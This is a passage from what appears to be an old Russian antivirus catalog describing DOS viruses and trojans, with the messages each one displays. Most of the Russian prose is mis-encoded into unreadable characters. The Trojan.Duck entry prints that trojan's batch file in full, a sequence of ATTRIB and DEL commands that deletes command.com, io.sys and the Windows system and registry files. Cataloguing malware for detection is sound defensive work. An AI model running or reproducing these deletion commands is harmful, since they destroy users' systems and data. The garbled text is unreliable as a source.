Åñëè ôàéë ñîäåðæèò îâåðëåé, òî âèðóñ "ñäâèãàåò" îâåðëåé âíèç è
çàïèñûâàåò ñâîé êîä ìåæäó òåëîì ôàéëà è îâåðëååì. Ïðè îòêðûòèè GIF-
ôàéëîâ ñ âåðîÿòíîñòüþ 1/8 âèðóñ ïåðåèìåíîâûâåò äàííûé ôàéë â èìÿ
TENTACLE ñî ñëó÷àéíûì ðàñøèðåíèåì è çàïèñûâàåò â îðèãèíàëüíûé ôàéë
èçîáðàæåíèå ùóïàëüöà îñüìèíîãà è íàäïèñüþ "I'm the Tentacle Virus" â
GIF-ôîðìàòå. Ñîäåðæèò òåêñò:
WARNING!
Your system is contamined with the Tentacle Virus.
IMPORTANT: Don't open any GIF file!
Tequila
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Çàðàæàåò MBR
æåñòêîãî äèñêà è EXE-ôàéëû ïðè èõ îòêðûòèè èëè çàïóñêå. Èíîãäà âûâîäèò
íà ýêðàí êàðòèíêó, íàïîìèíàþùóþ ñèëóýò ñàìîëåòà è òåêñò:
Execute: mov ax, FE03 / int 21. Key to go on!
Ïðè âûïîëíåíèè äàííûõ èíñòðóêöèé âèðóñ âûâîäèò íà ýêðàí ñëåäóþùèé
òåêñò:
Welcome to T.TEQUILA's latest production.
Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/Switzerland.
Loving thoughts to L.I.N.D.A
BEER and TEQUILA forever !
Tequila.5volt
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Íå çàðàæàåò ôàéëû WIN*.*,
CHKDSK*.*, BACK*.*. Ñîäåðæèò òåêñò:
This is a beta version of the '-5 Volt' virus. A final and error free
one will never follow because I've got enough of viruses. Now a message
to the programmers of Turbo Anti Virus: You do a dangerous play with
INT 21h in your TSAFE utility. It took me quite a long time to make the
virus compatible with TSAFE. Please use clean programming technics in
your next version. Today it's a Saturday and a big party with a lot of
TEQUILA takes place! Wow!! Greetings to the U.S. Army in Iraq.
Terra.1027, 1042
Íåîïàñíûå ðåçèäåíòíûå âèðóñû-ñïóòíèêè. Ñîçäàþò âèðóñíûé COM-ôàéë-
ñïóòíèê äëÿ ôàéëîâ ñ ðàñøèðåíèåì EXE. Íå çàðàæàþò ôàéëû, íà÷èíàþùèåñÿ
íà COMMAND,IBM,ET,PC,TB, CKVI,KLVI,DEVI,BTOOL,RTOOL,TDISK, SCAN, CLEAN,
HUNT,F-,TR,G,Z. 18 ÷èñëà âûâîäÿò íà ýêðàí ðàçíîöâåòíûå ñîîáùåíèÿ:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸Ü
º ï Terra'X î ¦Û
º-------------------------------¦Û
º Written By Zhuge Jin at TPVO. ¦Û
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
Terrorist.1740
Î÷åíü îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. 15 îêòÿáðÿ âûâîäèò òåêñò
"HAPPY BIRTHDAY OKSANA". Õðàíèò íåêîòîðûå ñâîè ñ÷åò÷èêè â êîíöå ôàéëà
C:\COMMAND.COM. Ìîæåò ïðî÷èòàòü 16 ïåðâûõ ñåêòîðîâ äèñêà C: â ïàìÿòü,
óíè÷òîæèòü ñîäåðæèìîå ýòèõ 16 ñåêòîðîâ íà äèñêå è âûâåñòè òåêñò:
WARNING
ÂÍÈÌÀÍÈÅ
ß Âèðóñ ÒÅÐÐÎÐÈÑÒ ! Âàø êîìïüþòåð çàõâà÷åí â çàëîæíèêè !
Åñëè âû âûêëþ÷èòå ìàøèíó èëè ïðåðâåòå ïðîãðàììó,òî èíôîðìàöèþ
î òàáëèöå ðàçìåùåíèÿ ôàéëîâ (FAT) âàì óæå íèêòî íå âîñòàíîâèò !!!
Åñëè âû õîòèòå ÷òîá ó âàñ áûëî âñå â ïîðÿäêå âû äîëæíû
âûïîëíèòü ìîè óñëîâèÿ :
Ïîäîæäèòå äî 3 ÷àñîâ íî÷è !!!
Åñëè ïîäîæäåòå îáåùàþ âñå ïî÷èíèòü !
ÏÐÈßÒÍÛÕ ÑÍÎÂÈÄÅÍÈÉ !!! (Crazy)
Ïîñëå ÷åãî âûâîäèò â ëåâîì âåðõíåì óãëó ýêðàíà òåêóùåå âðåìÿ è æäåò
íàñòóïëåíèÿ 3 ÷àñîâ íî÷è. Ïîñëå ÷åãî çàïèñûâàåò îáðàòíî íà äèñê
ñîõðàíåííûå â ïàìÿòè 16 ñåêòîðîâ äèñêà C:. Èíîãäà ìîæåò âûâåñòè òàêæå
ñîîáùåíèå "I~m here !".Ñîäåðæèò òåêñòû "ÏÎËÓ×ÀÉÒÅ ÑÓÊÈ","CRAZYCRAZY !".
Tet.365, 393, 409, 474, 733
Íåîïàñíûå (Tet.733 -îïàñåí) íåðåçèäåíòíûå âèðóñû. Ñîäåðæàò ñòðîêó "383"
èç-çà êîòîðîé è ïîëó÷èëè ñâîå íàçâàíèå - Three Eight Three. Tet.733
ìîæåò ðàçðóøàòü ôàéëû, çàïèñûâàÿ â íèõ êîä, êîòîðûé âûâîäèò òåêñò "This
program requires Microsoft Windows." è "ïåðåãðóæàåò" ñèñòåìó. Èíîãäà
ìîæåò âûâåñòè òåêñò "Ïî÷òèì ÇÀÂÈÑÀÍÈÅÌ ïàìÿòü êèòàéñêîãî õàêåðà,
óáèòîãî ïîäëûìè êîììóíèñòàìè." è "âåøàåò" ñèñòåìó. Tet.733 òàêæå
ñîäåðæèò òåêñò "383 v1.5 (C)LovinGOD, fUcKRAINE.".
Thc.1058
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè îòêðûòèè ôàéëîâ, ñîäåðæàùèõ ïåðâûé áàéò
E9h èëè B8h, âèðóñ çàïèñûâàåò â íèõ 5 áàéò, âûçûâàþùèõ ïåðåçàãðóçêó
ñèñòåìû. Òàêæå óíè÷òîæàåò 5 ïåðâûõ áàéò â ôàéëàõ, ïåðâûé áàéò êîòîðûõ -
EAh. Ñîäåðæèò òåêñò "Aidstest Fucker. Copyright (c) by Troitsk Hackers
Club".
Thunder.1543
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Âíåäðÿåò ñâîé ðàñøèôðîâùèê (21
áàéò) â ñåðåäèíó ôàéëà,à îñíîâíîé çàøèôðîâàííûé âèðóñíûé êîä çàïèñûâàåò
â êîíåö ôàéëà. "Ïåðåõâàòûâàåò" INT 13h, 21h,à ïîñëå 20 äåêàáðÿ è INT 8.
Ïðè ÷òåíèè èëè çàïèñè íåêîòîðûõ ñåêòîðîâ(â êîòîðûõ âñòðå÷àåòñÿ êàêàÿ-òî
ïîñëåäîâàòåëüíîñòü áàéò (?)) âèðóñ âîçâðàùàåò îøèáêó ÷òåíèÿ èëè çàïèñè.
Ïîñëå 20 äåêàáðÿ âèðóñ ìîæåò âûâåñòè íà ýêðàí òåêñò:
ÛÛÛÛÛÛÛ Û Û Û Û Û Û ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ
Û Û Û Û Û ÛÛ Û Û Û Û Û Û
Û Û Û Û Û Û Û Û Û Û Û Û Û
Û ÛÛÛÛÛÛÛ Û Û Û Û Û Û Û ÛÛÛÛÛ ÛÛÛÛÛ
Û Û Û Û Û Û Û Û Û Û Û Û Û
Û Û Û Û Û Û ÛÛ Û Û Û Û Û
Û Û Û ÛÛÛÛÛÛ Û Û ÛÛÛÛÛ ÛÛÛÛÛÛÛ Û Û
Tib.708, 713
Ðåçèäåíòíûå âèðóñû. Ïûòàþòñÿ ÷òî-òî "ñîòâîðèòü" ñ ñåòüþ Novell NetWare.
Tie.619, 710, 713
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò çàøèôðîâàííûé òåêñò "TIE
Fighter".
Timid.526 (1,2)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Èíîãäà ñòèðàþò ñîäåðæèìîå ýêðàíà.
Ñîäåðæàò òåêñòîâóþ ñòðîêó "GR".
Tiso.1279
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé øèôðîâàííûé âèðóñ. Èíîãäà, ïðè çàãðóçêå,
ñèñòåìû âûâîäèò "Nech zije Jozef Tiso, prvy slovensky prezident !".
Tmc.4829, 5440
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû.Èñïîëüçóþò äîâîëüíî èíòåðåñíûé
ïîëèìîðôíûé ìåõàíèçì. Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû, âèðóñ
ïîëó÷àåò óïðàâëåíèå è ïðîèçâîäèò ñîçäàíèå â ïàìÿòè ñâîåé íîâîé êîïèè.
Âèðóñ õðàíèò â ñâîåì òåëå òàáëèöû ïî êîòîðûì ïî îïðåäåëåííûì çàêîíàì
ñòðîèò ñâîé êîä. Ïðè ïîñòðîåíèè ýòîãî êîäà âèðóñ ìîæåò âíåäðèòü â ëþáîå
ìåñòî êîäà (âìåñòî î÷åðåäíîé èíñòðóêöèè) êîìàíäó ïåðåõîäà (E9 ?? ??) â
ñâîáîäíîå (íå çàíÿòîå åùå "ðàáî÷èìè" èíñòðóêöèÿìè) ìåñòî è ïðîäîëæèòü
ïîñòðîåíèå ñâîåãî êîäà ñ ýòîãî ìåñòà.Âèðóñ ñòðîèò òàáëèöû "óæå çàíÿòûõ"
îáëàñòåé è "íàñòðàèâàåìûõ" àäðåñîâ äëÿ êîððåêòíîãî ñîçäàíèÿ ñâîåãî
ïîòîìêà. Òàêæå îí ñïîñîáåí âàðüèðîâàòü áåçóñëîâíûìè ïåðåõîäàìè
(íàïðèìåð, çàìåíà JE íà JNE) â íåêîòîðûõ ñèòóàöèÿõ. Çàòåì âèðóñ
ðàñøèôðîâûâàåò ñâîé êîä, êîòîðûé òàêæå íå ÿâëÿåòñÿ ïîñòîÿííûì è
óñòàíàâëèâàåò â ïàìÿòü "íà INT 21h" ñâîþ ðåçèäåíòíóþ êîïèþ. Ïðè÷åì
îáðàáîò÷èê INT 21h òàêæå ÿâëÿåòñÿ íåïîñòîÿííûì è èìååò ðàçëè÷íûå
ñìåùåíèÿ. Äàëåå ýòà ðåçèäåíòíàÿ êîïèÿ çàðàæàåò ôàéëû òîëüêî ýòèì êîäîì.
Äëÿ òåêóùåãî ñåàíñà ðàáîòû (äî ñëåäóþùåé óñòàíîâêè â ïàìÿòü) âñå êîïèè
âèðóñà ïðè çàðàæåíèè ôàéëîâ áóäóò îäèíàêîâû. Âèðóñû ñîäåðæàò òåêñòû:
Tmc.4829:
þ TMC 1.0 by Ender from Slovakia þ
Welcome to the Tiny Mutation Compiler!
Dis is level 42.
Greetings to virus makers: Dark Avenger, Vyvojar, Hell Angel
Personal greetings: K. K., Dark Punisher
Tmc.5440:
þ TMC 1.0 by Ender þ
Welcome to the Tiny Mutation Compiler!
Dis is level 6*9.
Greetings to virus makers: Dark Avenger, Vyvojar, SVL, Hell Angel
Personal greetings: K. K., Dark Punisher
Todor.1993
Îïàñíûé ïîëèìîðôíûé âèðóñ. Ïîñëå 15 àâãóñòà øèôðóåò ïåðâûé ñåêòîð
ïåðâîé êîïèè FAT. Íå çàðàæàåò ôàéëû, èìåþùèå ïî ñìåùåíèþ +20h ñòðîêó
(C)Todor è ôàéëû, óïàêîâàííûå óòèëèòîé LZEXE v.0.90. Ñîäåðæèò îøèáêó, â
ðåçóëüòàòå êîòîðîé êàæäûé 6 ôàéë áóäåò íåðàáîòîñïîñîáåí.
Tony.338
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ðàçìåùàåò ñâîþ ðåçèäåíòíóþ ÷àñòü â îáëàñòè
òàáëèöû ïðåðûâàíèé ïî àäðåñó 44:100h. Èíôèöèðóåò COM-ôàéëû, âíåäðÿÿ
ñâîé êîä â îáëàñòü íóëåé, åñëè â ôàéëå òàêîâàÿ èìååòñÿ. Ïðè óñòàíîâêå â
ïàìÿòü ïûòàåòñÿ ñðàçó æå çàðàçèòü êîìàíäíûé ïðîöåññîð. Â âèðóñå èìååòñÿ
îøèáêà, â ðåçóëüòàòå êîòîðîé èíôèöèðîâàííûå ôàéëû ìîãóò áûòü
íåðàáîòîñïîñîáíûìè è ëå÷åíèþ íåïîääàþùèìèñÿ. Ñîäåðæèò ñòðîêó "Tony".
Tormentor.358, 360
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñò:
(c) 1992 Tormentor / Demoralized Youth
Rather first in hell, than second in heaven.
Tornado
Íåîïàñíûé çàøèôðîâàííûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò ñòðîêó "TORNADO".
TPE-âèðóñû
TPE (TridenT Polymorphic Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ.
TPE.Bosnia
Ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñòðîêó
"COSCCLVSNEMSTBVIFIF-IMCPNA-VRAFEMTBR". Íå çàðàæàåò ôàéëû ñ èìåíàìè èç
ýòîé ñòðîêè (ïî 2 ñèìâîëà íà èìÿ). Ïî ïÿòíèöàì, â çàâèñèìîñòè îò
ñèñòåìíîãî òàéìåðà, ìîæåò íàðèñîâàòü êàðòèíêó:
HELP BOSNIA, BEFORE IT'S TOO LATE!
ÛÜ
ßÛÜ
ßÛÜ þ þ
ßÛÜ
ßÛÜ
ßÛÜ
þ ßÛÜ þ
ßÛÜ
ßÛÜ
þ ßÛÜ
ßÛÜ
ßÛÜ
ß þ ßÛÜ
ß ß
ßß ßß
TPE.CivilWar.1979, TPE.CivilWar.1994, TPE.CivilWar.1997, TPE.CivilWar.2049
Ïîëèìîðôíûå âèðóñû. TPE.CivilWar.1979, TPE.CivilWar.1994 è
TPE.CivilWar.1997 - íåðåçèäåíòíûå. Ñîäåðæàò ñòðîêè:
TPE.CivilWar.1979:
Civil War IV, (c) 1993 *.com
For all i'v seen has changed my mind
But still the wars go on as the years go by
With no love of God or human rights
'Cause all these dreams are swept aside
By bloody hands of the hypnotized
Who carry the cross of homicide
And history bears the scars of our Civil Wars.
[ DH / TridenT ] [ MK / TridenT ]
TPE.CivilWar.1994 è TPE.CivilWar.1997:
Civil War IV v1.1, (c) Jan '93 *.com
For all i've seen has changed my mind
But still the wars go on as the years go by
With no love of God or human rights
'Cause all these dreams are swept aside
By bloody hands of the hypnotized
Who carry the cross of homicide
And history bears the scars of our Civil Wars
[ DH / TridenT ] [ MK / TridenT ]
TPE.CivilWar.2049 - ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó:
Civil War V v1.0, (c) Jan '92
[ DH / TridenT ][ MK / TridenT ]
TPE.Dgme.1758, 2648, 2518
Íåîïàñíûå íåðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ñîäåðæàò ñòðîêó:
DGME (C) 1993 American Eagle Publications, Inc., All Rights Reserved.
TPE.Gambit.2259
Íåîïàñíûé ïîëèìîðôíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîäåðæèò ñòðîêó
"Gambit 1.0 by Viper [NuKE][ MK / TridenT ]".
TPE.Girafe
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Íå çàðàæàåò ôàéëû ñ èìåíàìè
CO*.*, SC*.*, CL*.*, VS*.*. Ñîäåðæèò ñòðîêè òåêñòà:
"COSCCLVSNEHTTBVIFIGIRAFEMTBRIM", "[ MK / Trident ]", "Amsterdam =
COFFEESHOP!". Ïî ïÿòíèöàì ïðè çàïóñêå èíôèöèðîâàííîé ïðîãðàììû ñ
âåðîÿòíîñòüþ 1/256 âûâîäèò ñîîáùåíèå "LEGALIZE CANNABIS" è èçîáðàæåíèå
çåëåíîãî ëèñòà. Ñì. MtE.Coffeeshop
TPE.Kela.4546
Ïîëèìîðôíûé ñòåëñ-âèðóñ.  ïÿòíèöó 13 ÷èñëà âûâîäèò êðàñèâóþ
ïåðåëèâàþùóþñÿ âñåìè öâåòàìè êàðòèíêó ñ íàäïèñÿìè "KELA". Ñîäåðæèò
òåêñòû:
This is KELA-17 version virus.
KELA-17 very nice virus . Ha Ha HaHa
KELA - 17.Âûðàæàþ ñâîþ áëàãîäàðíîñòü àâòîðó TPE, KELA.
Copyright (c) 1994 by KELA. All Rights Reserved. KELA âå÷åí. Ñìåðòü
Ëîçèíñêîìó è Ìîñòîâîìó. Ñìåðòü âñåì ïîëüçîâàòåëÿì ÝÂÌ.
TPE.Lamer
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôèê. Â äåêàáðå óíè÷òîæàåò 30 ïåðâûõ ñåêòîðîâ
äèñêà C: è âûâîäèò òåêñò:
±±±±± The
| _ | Lamer Exterminator
[°]Ñ[°] Virus by
| | | ---> UGLY BOY <---
| ü | Hi Dude!.Sorry for
| \_/ | your HD! HiHiHiHi!
\___/ 23/10/1993 Italy
TPVO.3783
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Çàðàæàåò COM, EXE, NewExe - ôàéëû è
çàãðóçî÷íûå ñåêòîðà äèñêîâ. Âíåäðÿåò ñâîé êîä â ÿäðî DOS, ïîýòîìó åãî
î÷åíü ñëîæíî íàéòè â ïàìÿòè êîìïüþòåðà.
Traka.1471
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó [TRAkA-
TRAkA]/ARGENTiNA
Trakia.561, 570, 653, 1070
Ðåçèäåíòíûå âèðóñû. Trakia.653, 1070 - îïàñíû. Trakia.653 ïîðòèò ôàéëû,
èìåþùèå ðàñøèðåíèÿ DWG, DWF, DXG, DXF, à Trakia.1070 ïðîèçâîäèò ïîèñê
êàêîé-òî ñòðîêè â ñòàðòóþùèõ EXE-ôàéëàõ è åñëè íàõîäèò åå, òî ïðàâèò
ýòîò ôàéë.
Traven.515
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà "òðÿñåò" ýêðàí. Ñîäåðæèò ñòðîêó
"by Traven(Traveller)".
Trident.346
Ïîëèìîðôíûé îïàñíûé âèðóñ. Ïîñëå çàðàæåíèÿ ôàéëà âûâîäèò íà ýêðàí:
ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛÛÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ
ÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ
Trivial.Destroer.49
Ñîäåðæèò òåêñò "DESTROER".
Trojan - "òðîÿíñêèå" ïðîãðàììû. Ñîäåðæàùèéñÿ â äàííûõ ïðîãðàììàõ êîä íå
ÿâëÿåòñÿ âèðóñíûì êîäîì. Êàê ïðàâèëî, äàííûå ïðîãðàììû íåñóò â ñåáå
äåñòðóêòèâíûå ôóíêöèè.
Trojan.BPC
Ïðîèçâîäèò ïîèñê ôàéëîâ *.* è çàïèñûâàåò â íèõ 392 áàéòà êîäà,
óíè÷òîæàþùåãî 255 ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà è âûâîäÿùåãî íà ýêðàí
òåêñò:
CONGRATULATIONS !
Y0UR ZYZtEM WAZ PHUCKEd bY
BBS PhAcKeRz ClUb `1994 !
UZ 0UR fREE 20ftWARE.....
:: (c) 1994 BBS PhUCkERZ C1Ub ::
Trojan.Duck
Äàííûé òðîÿíåö ïîëó÷åí ñ ïîìîùüþ ïðîãðàììû BAT2COM èç ïàêåòíîãî ôàéëà
ñëåäóþùåãî ñîäåðæàíèÿ:
---------------------------
Da Ultimate Crack
by Plucky Duck &
Da AC-DC Boy
---------------------------
Cracking...
Done...
DEL c:\windows\win.ini
DEL c:\windows\system.ini
ATTRIB -r -a -s -h c:\command.com
DEL c:\command.com
ATTRIB -r -a -s -h c:\windows\user.dat
DEL c:\windows\user.dat
ATTRIB -r -a -s -h c:\windows\user.da0
DEL c:\windows\user.da0
ATTRIB -r -a -s -h c:\windows\system.dat
DEL c:\windows\system.dat
ATTRIB -r -a -s -h c:\windows\system.da0
DEL c:\windows\system.da0
ATTRIB -r -a -s -h c:\io.sys
DEL c:\io.sys
Trojan.GetIt
Äàííàÿ ïðîãðàììà ïðåäíàçíà÷åíà äëÿ âîðîâñòâà ïàðîëåé äëÿ Novell
NetWare. Òðîÿíñêèé êîä çàïèñûâàåòñÿ ïî âèðóñíîìó ïðèíöèïó ê ëþáîé COM-
ïðîãðàììå. Ïðè ñòàðòå òàêîé ïðîãðàììû, äàííûé "òðîÿíåö" óñòàíàâëèâàåò
ñâîþ êîïèþ ðåçèäåíòíî â ïàìÿòü "íà INT 21h", æäåò ñòàðòà ïðîãðàììû
LOGIN, ïîñëå ÷åãî çàïèñûâàåò ââîäèìûé ïîëüçîâàòåëåì ïàðîëü â óêàçàííûé
â òåëå "òðîÿíöà" ôàéë.
Trojan.Himan
Ïðîèçâîäèò ïîèñê â ñðåäå îêðóæåíèÿ (environment) ïðîãðàììû óêàçàòåëÿ
"MAXIMUS=". Äàëåå â óêàçàííîì êàòàëîãå èùåò ôàéë MAX.OVL è ìîäèôèöèðóåò
â íåì ïî îïðåäåëåííûì ñìåùåíèÿì 2 áàéòà. Ñîäåðæèò òåêñò "-=HiMAN=-".
Trojan.MustDie
Óíè÷òîæàåò ôàéëû C:\AUTOEXEC.BAT, C:\CONFIG.SYS,çàïèñûâàÿ â íèõ òåêñòû:
rem Hey... you dead! . . . POOF!!!! (c) D.A.
2:50xx/19 - MUST DIE!!! (c) D.A.
Âûâîäèò ïðè ñòàðòå íà ýêðàí òåêñò:
D-1
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ New virus base by Dmitry A. ¦
¦ 2:50xx/19.10@FidoÍÅÒ ¦
ÄÄÙ d-1.com /d ÀÄÄ
Û V.M. - I hape you!!! Û
Û À ÑÄÅÑÜ ÌÎÃËÀ ÁÛÒÜ ÂÀØÀ ÐÅÊËÀÌÀ ! Û
Û Û
ÄĬ ÚÄÄ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Trojan.PswStor, Trojan.PsySend
Äàííûå òðîÿíöû ïðåäíàçíà÷åíû äëÿ ñáîðà ïàðîëåé â ñåòè Nowell NetWare
(Trojan.PswStor) è äëÿ ïîñûëêè ñîîáùåíèé âñåì ïîëüçîâàòåëÿì ñåòè áåç
óêàçàíèÿ àäðåñà è èìåíè ïîëüçîâàòåëÿ, îò êîòîðîãî äàííîå ñîîáùåíèå
èñõîäèëî (Trojan.PsySend). Àâòîðîì äàííûõ "èãðóøåê" ÿâëÿåòñÿ
áåëîðóññêèé "îðåë" èç ãîðîäà Áðåñòà Àíäðåé Áàøàðèìîâ 2:454/2.175.
Trojan.Shock
Ïûòàåòñÿ îòôîðìàòèðîâàòü äîðîæêó ïåðâîãî æåñòêîãî äèñêà. Âûâîäèò
ñîîáùåíèÿ:
ÜßßßÜ ßÛßßÜ ÜßÛßßßß ßÛßßÜ ÛßßÜßßÛ ÜÜ ßÜ ßÛßßÜ ÜßÛßßßß
Û Û Û Û Û Û Û Û Û Û Û Û
Û ßÛßÛß ÜÛÜÜ ßÛßßßÛ Û Û Û ßÛßÛß ÜÛÜÜ
Û Û ßÜ ß Û Û Û Û Û Û Û ßÜ ß Û
ßÜÜÜÜß ß ß ÜßÜÜÜÜ Üß ÜßßßÜ ßÛÜ ßÛÜßÜßßßÜß ÜßßßÜßÜßÛßÜÜÛÜ
Û Û Û Û Û Û Û Üß
ßßÜÜ ßÛßßßÛ Û Û Û ÜÛÜß
Û Û Û Û Û Û ß Û Û
ßÜÜÜÜß Üß Üß ßÜÜÜÜß ßÜÜÜÜß Üß ßÜ
ÚÄÄÄÄĬ ÚĬ ÚĬ ÚÄÄÄÄĬ ÚÄÄÄÄÄĬ ÚÄÄÄÄĬ ÚÄÄÄÄĬ ÚÄÄÄÄĬ ÚĬ
ÀĬ ÚÄÙ ¦ ¦ ¦ ¦ ¦ ÚÄÄÄÙ À¬ ÚĬ ¦ ¦ ÚÄÄÄÙ ¦ ÚÄÄÄÙ ÀĬ ÚÄÙ ¦ ¦
¦ ¦ ¦ ÀÄÙ ¦ ¦ ÀĬ ¦ ÀÄÙ ¦ ¦ ÀĬ ¦ ÀÄÄĬ ¦ ¦ ¦ ¦
¦ ¦ ¦ ÚĬ ¦ ¦ ÚÄÙ ¦ ÚĬ ¦ ¦ ÚÄÙ ÀÄÄĬ ¦ ¦ ¦ ÀÄÙ
¦ ¦ ¦ ¦ ¦ ¦ ¦ ÀÄÄĬ ÚÙ ÀÄÙ ¦ ¦ ÀÄÄĬ ÚÄÄÄÙ ¦ ¦ ¦ ÚĬ
ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÄÄÄÄÙ ÀÄÄÄÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ
ÜÛÛÛÛÛÛÜÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÛÛ ÛÛ
ÛÜÜ ÛÛÛÛÛÛÛßß ÜÜÛ ÛÛÜÜÜÜ ÛÛÜÜÜÛÛ ÛÛÜ ÜÛÛ
ÛßÛÜ ßÜÜÜÜßÛßÜÜÜÜß ÜÛßÛ ßßßßÛÛ ÛÛßßßÛÛ ßÛÛÛß
ÞÝ Ûß ÛÛÛßÛÛ ÛÛßÛÛÛ ßÛÛÞÝ ßÛÛÛÛÛß ÛÛ ÛÛ ÞÛÝ
ÛßÜÛÛÜßßßßÜÜÜßßßßÜÛÛÜßÛ
Ü ÛÝÞß ßÜÛÛÛÛÛÛÜÜÜßÛÛÝÝÞÛ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÛÛÛÛÛÛÜ
ÛÛÛ ß Û ÛÛÛÛÛÛÛÛÛÛÛÛ ßÛÜß ÛÛ ÜÜÜ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÞÛÝÝ ÜßÜÜßßßßßßßßßßÜÜÜ ßÛÜ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÜÛÞÛÛÜ Ü ÛÜßßÛÛÛÜÜÜÜÜÜßßßßßßÜÛß ßÛÛÛÛÛß ßÛÛÛÛÛß ßÛÛÛÛÛß ÛÛÛÛÛÛß
ÞÛÛÛÛÛÛÛÝÝ ßßÜßßßßßßßßßßÜÜÜÜßß
ßÛÛÛÛÛÛ Ý ßßÛÛÛÛÛÛÛÛÛßßßß ÛÛÛÛÛÛÜ ÛÛ ÛÛ ÜÛÛÛÛÛÛ
ßÛÛÛÜÛ ÜÜÜÜÜÜÜÜÛ ÛÛÜÜÜÛß ÛÛÜ ÜÛÛ ÛÛÜÜÜÜ
ÛÛÛÛÝÝ ÜÜÛÛÛÜßßßßßßßÜÛÜÛÛÜÜ ÛÛßßßÛÛ ßÛÛÛß ÛÛßßßß
ÜÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÜÜÜÜÜÜÜÛÛÛÛÛÜ Ü ÛÛÛÛÛÛ ÞÛÝ ßÛÛÛÛÛÛ
ßÛÝÞÛÛÛÛÛÛ ÜÜÜßßßÛÛÛÛÛÛÛßÜÛÛÛÛÛÛÛ
ß ÛÛÛÛÛÛÛ ÛÛÛÛÛÜÜÜßßßÜÛÛÛÛÛÛÛÛ MY DEAR
ÞÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÜßÛÛÛÛÛÛ ßß ßß ßßßßßß ßßßßßß
ÛÛÛÛÛÛÝÝ ßßßÛÛÛÛÛÛÛÛÜßß Û ßß ßß ßß ßß ßß ßß
ßÛÛÛßß ÛÜÜßßßßÛÛÛÛß ß ßßßßßßß ßß ßßß ßß ßßß
ßß ÞÛÛÛÛÛÜÜßß ÛßÜß ßß ßß ßß ßß ßß ßß
ßßßßßßßß ßß ßß ßß ßßßßßß ßßßßßß
Trojan.TimeBomb
Òðîÿíñêàÿ ïðîãðàììà TimeBomb çàïèñûâàåò â MBR æåñòêîãî äèñêà
äåñòðóêòèâíûé êîä, êîòîðûé óíè÷òîæàåò ñîäåðæèìîå âñåãî æåñòêîãî äèñêà â
îïðåäåëåííûé, óêàçàííûé ïîëüçîâàòåëåì äåíü. Ïðè çàïèñè â MBR "òðîÿíöà"
ñîäåðæèìîå îðèãèíàëüíîãî çàãðóç÷èêà ñîõðàíÿåòñÿ â ôàéëå MBR.BAK.
Trojan.Xmas
Íà ôîíå ïîçäðàâëåíèÿ ñ Ðîæäåñòâîì ïåðåèìåíîâûâàåò ôàéëû C:\IO.SYS è
C:\MSDOS.SYS â C:\*.SIS, à ôàéëû C:\WINDOWS\SYSTEM.INI,
